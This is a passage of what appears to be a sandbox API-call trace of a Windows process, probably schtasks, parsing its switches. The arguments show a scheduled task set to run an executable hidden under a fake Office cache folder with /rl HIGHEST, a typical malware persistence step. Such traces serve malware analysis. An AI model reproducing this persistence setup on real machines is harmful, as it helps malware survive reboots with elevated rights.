_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.187] lstrlenW (lpString="tr") returned 2 [0124.187] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.187] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|query|") returned 7 [0124.187] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.187] lstrlenW (lpString="|query|") returned 7 [0124.187] lstrlenW (lpString="|tr|") returned 4 [0124.187] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0124.188] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.188] lstrlenW (lpString="change") returned 6 [0124.188] lstrlenW (lpString="change") returned 6 [0124.188] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.188] lstrlenW (lpString="tr") returned 2 [0124.188] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.188] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|change|") returned 8 [0124.188] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.188] lstrlenW (lpString="|change|") returned 8 [0124.188] lstrlenW (lpString="|tr|") returned 4 [0124.188] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0124.188] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.188] lstrlenW (lpString="run") returned 3 [0124.188] lstrlenW (lpString="run") returned 3 [0124.188] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.188] lstrlenW (lpString="tr") returned 2 [0124.188] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.188] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|run|") returned 5 [0124.188] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.188] lstrlenW (lpString="|run|") returned 5 [0124.188] lstrlenW (lpString="|tr|") returned 4 [0124.188] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0124.188] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.188] lstrlenW (lpString="end") returned 3 [0124.188] lstrlenW (lpString="end") returned 3 [0124.188] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.189] lstrlenW (lpString="tr") returned 2 [0124.189] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.189] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|end|") returned 5 [0124.189] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.189] lstrlenW (lpString="|end|") returned 5 [0124.189] lstrlenW (lpString="|tr|") returned 4 [0124.189] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0124.189] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.189] lstrlenW (lpString="showsid") returned 7 [0124.189] lstrlenW (lpString="showsid") returned 7 [0124.189] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.189] lstrlenW (lpString="tr") returned 2 [0124.189] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.189] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|showsid|") returned 9 [0124.189] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.189] lstrlenW (lpString="|showsid|") returned 9 [0124.189] lstrlenW (lpString="|tr|") returned 4 [0124.189] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0124.189] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.189] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.189] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.189] lstrlenW (lpString="/tr") returned 3 [0124.189] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0124.189] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.189] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.189] lstrlenW (lpString="/tr") returned 3 [0124.189] GetProcessHeap () returned 0x2996d990000 [0124.189] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x8) returned 0x2996d993c10 [0124.189] GetProcessHeap () returned 0x2996d990000 [0124.190] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b750 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.190] lstrlenW (lpString="-/") returned 2 [0124.190] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.190] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'" [0124.190] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.190] GetProcessHeap () returned 0x2996d990000 [0124.190] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d99a9b0 [0124.190] _memicmp (_Buf1=0x2996d99a9b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.190] GetProcessHeap () returned 0x2996d990000 [0124.190] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xe) returned 0x2996d99a8b0 [0124.190] GetProcessHeap () returned 0x2996d990000 [0124.190] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d99a970 [0124.190] _memicmp (_Buf1=0x2996d99a970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.190] GetProcessHeap () returned 0x2996d990000 [0124.190] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x9c) returned 0x2996d993c30 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] lstrlenW (lpString="'C") returned 2 [0124.190] lstrlenW (lpString="-/") returned 2 [0124.190] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.190] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.191] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.191] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.191] GetProcessHeap () returned 0x2996d990000 [0124.191] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x9a) returned 0x2996d99bd00 [0124.191] GetProcessHeap () returned 0x2996d990000 [0124.191] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b9f0 [0124.191] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.191] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.191] lstrlenW (lpString="/rl") returned 3 [0124.191] lstrlenW (lpString="-/") returned 2 [0124.191] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.191] lstrlenW (lpString="?") returned 1 [0124.191] lstrlenW (lpString="?") returned 1 [0124.191] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.191] lstrlenW (lpString="rl") returned 2 [0124.191] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.191] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|?|") returned 3 [0124.191] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.191] lstrlenW (lpString="|?|") returned 3 [0124.191] lstrlenW (lpString="|rl|") returned 4 [0124.191] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.191] lstrlenW (lpString="create") returned 6 [0124.191] lstrlenW (lpString="create") returned 6 [0124.191] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.191] lstrlenW (lpString="rl") returned 2 [0124.191] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.191] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.192] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.192] lstrlenW (lpString="|create|") returned 8 [0124.192] lstrlenW (lpString="|rl|") returned 4 [0124.192] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0124.192] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.192] lstrlenW (lpString="delete") returned 6 [0124.192] lstrlenW (lpString="delete") returned 6 [0124.192] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.192] lstrlenW (lpString="rl") returned 2 [0124.192] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.192] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|delete|") returned 8 [0124.192] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.192] lstrlenW (lpString="|delete|") returned 8 [0124.192] lstrlenW (lpString="|rl|") returned 4 [0124.192] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0124.192] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.192] lstrlenW (lpString="query") returned 5 [0124.192] lstrlenW (lpString="query") returned 5 [0124.192] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.192] lstrlenW (lpString="rl") returned 2 [0124.192] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.192] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|query|") returned 7 [0124.192] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.192] lstrlenW (lpString="|query|") returned 7 [0124.192] lstrlenW (lpString="|rl|") returned 4 [0124.192] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0124.192] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.192] lstrlenW (lpString="change") returned 6 [0124.193] lstrlenW (lpString="change") returned 6 [0124.193] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.193] lstrlenW (lpString="rl") returned 2 [0124.193] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.193] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|change|") returned 8 [0124.193] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.193] lstrlenW (lpString="|change|") returned 8 [0124.193] lstrlenW (lpString="|rl|") returned 4 [0124.193] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0124.193] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.193] lstrlenW (lpString="run") returned 3 [0124.193] lstrlenW (lpString="run") returned 3 [0124.193] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.193] lstrlenW (lpString="rl") returned 2 [0124.193] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.193] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|run|") returned 5 [0124.193] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.193] lstrlenW (lpString="|run|") returned 5 [0124.193] lstrlenW (lpString="|rl|") returned 4 [0124.193] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0124.193] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.193] lstrlenW (lpString="end") returned 3 [0124.193] lstrlenW (lpString="end") returned 3 [0124.193] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.193] lstrlenW (lpString="rl") returned 2 [0124.193] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.194] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|end|") returned 5 [0124.194] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.194] lstrlenW (lpString="|end|") returned 5 [0124.194] lstrlenW (lpString="|rl|") returned 4 [0124.194] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.194] lstrlenW (lpString="showsid") returned 7 [0124.194] lstrlenW (lpString="showsid") returned 7 [0124.194] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.194] lstrlenW (lpString="rl") returned 2 [0124.194] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.194] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|showsid|") returned 9 [0124.194] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|rl|") returned 4 [0124.194] lstrlenW (lpString="|showsid|") returned 9 [0124.194] lstrlenW (lpString="|rl|") returned 4 [0124.194] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.194] lstrlenW (lpString="/rl") returned 3 [0124.194] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.194] lstrlenW (lpString="/rl") returned 3 [0124.194] GetProcessHeap () returned 0x2996d990000 [0124.194] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x8) returned 0x2996d993ce0 [0124.194] GetProcessHeap () returned 0x2996d990000 [0124.194] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b3c0 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.194] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] lstrlenW (lpString="HIGHEST") returned 7 [0124.195] lstrlenW (lpString="-/") returned 2 [0124.195] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0124.195] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] lstrlenW (lpString="HIGHEST") returned 7 [0124.195] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0124.195] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] lstrlenW (lpString="HIGHEST") returned 7 [0124.195] GetProcessHeap () returned 0x2996d990000 [0124.195] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x10) returned 0x2996d99a8d0 [0124.195] GetProcessHeap () returned 0x2996d990000 [0124.195] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b510 [0124.195] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.195] lstrlenW (lpString="/f") returned 2 [0124.195] lstrlenW (lpString="-/") returned 2 [0124.195] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.195] lstrlenW (lpString="?") returned 1 [0124.195] lstrlenW (lpString="?") returned 1 [0124.195] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.195] lstrlenW (lpString="f") returned 1 [0124.195] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.195] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|?|") returned 3 [0124.195] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.195] lstrlenW (lpString="|?|") returned 3 [0124.195] lstrlenW (lpString="|f|") returned 3 [0124.195] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0124.196] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.196] lstrlenW (lpString="create") returned 6 [0124.196] lstrlenW (lpString="create") returned 6 [0124.196] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.196] lstrlenW (lpString="f") returned 1 [0124.196] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.196] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.196] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.196] lstrlenW (lpString="|create|") returned 8 [0124.196] lstrlenW (lpString="|f|") returned 3 [0124.196] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0124.196] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.196] lstrlenW (lpString="delete") returned 6 [0124.196] lstrlenW (lpString="delete") returned 6 [0124.196] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.196] lstrlenW (lpString="f") returned 1 [0124.196] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.196] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|delete|") returned 8 [0124.196] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.196] lstrlenW (lpString="|delete|") returned 8 [0124.196] lstrlenW (lpString="|f|") returned 3 [0124.196] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0124.196] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.196] lstrlenW (lpString="query") returned 5 [0124.196] lstrlenW (lpString="query") returned 5 [0124.196] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.197] lstrlenW (lpString="f") returned 1 [0124.197] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.197] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|query|") returned 7 [0124.197] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.197] lstrlenW (lpString="|query|") returned 7 [0124.197] lstrlenW (lpString="|f|") returned 3 [0124.197] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0124.197] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.197] lstrlenW (lpString="change") returned 6 [0124.197] lstrlenW (lpString="change") returned 6 [0124.197] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.197] lstrlenW (lpString="f") returned 1 [0124.197] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.197] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|change|") returned 8 [0124.197] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.197] lstrlenW (lpString="|change|") returned 8 [0124.197] lstrlenW (lpString="|f|") returned 3 [0124.197] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0124.197] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.197] lstrlenW (lpString="run") returned 3 [0124.197] lstrlenW (lpString="run") returned 3 [0124.197] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.197] lstrlenW (lpString="f") returned 1 [0124.197] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.197] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|run|") returned 5 [0124.197] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.197] lstrlenW (lpString="|run|") returned 5 [0124.198] lstrlenW (lpString="|f|") returned 3 [0124.198] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0124.198] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.198] lstrlenW (lpString="end") returned 3 [0124.198] lstrlenW (lpString="end") returned 3 [0124.198] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.198] lstrlenW (lpString="f") returned 1 [0124.198] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.198] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|end|") returned 5 [0124.198] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.198] lstrlenW (lpString="|end|") returned 5 [0124.198] lstrlenW (lpString="|f|") returned 3 [0124.198] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0124.198] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.198] lstrlenW (lpString="showsid") returned 7 [0124.198] lstrlenW (lpString="showsid") returned 7 [0124.198] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.198] lstrlenW (lpString="f") returned 1 [0124.198] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.198] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|showsid|") returned 9 [0124.198] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|f|") returned 3 [0124.198] lstrlenW (lpString="|showsid|") returned 9 [0124.198] lstrlenW (lpString="|f|") returned 3 [0124.198] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0124.198] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.198] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.198] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.198] lstrlenW (lpString="/f") returned 2 [0124.199] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0124.199] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.199] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.199] lstrlenW (lpString="/f") returned 2 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x6) returned 0x2996d993d00 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b7b0 [0124.199] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993950) returned 1 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993950) returned 0x8 [0124.199] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993950) returned 1 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b540) returned 1 [0124.199] GetProcessHeap () returned 0x2996d990000 [0124.199] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b540) returned 0x20 [0124.200] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b540) returned 1 [0124.247] GetProcessHeap () returned 0x2996d990000 [0124.247] GetProcessHeap () returned 0x2996d990000 [0124.247] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a8f0) returned 1 [0124.247] GetProcessHeap () returned 0x2996d990000 [0124.247] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a8f0) returned 0x12 [0124.247] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a8f0) returned 1 [0124.247] GetProcessHeap () returned 0x2996d990000 [0124.247] GetProcessHeap () returned 0x2996d990000 [0124.247] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b420) returned 1 [0124.247] GetProcessHeap () returned 0x2996d990000 [0124.247] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b420) returned 0x20 [0124.248] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b420) returned 1 [0124.248] GetProcessHeap () returned 0x2996d990000 [0124.248] GetProcessHeap () returned 0x2996d990000 [0124.248] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993bb0) returned 1 [0124.248] GetProcessHeap () returned 0x2996d990000 [0124.248] RtlSizeHeap (HeapHandle=0x2996d990000, 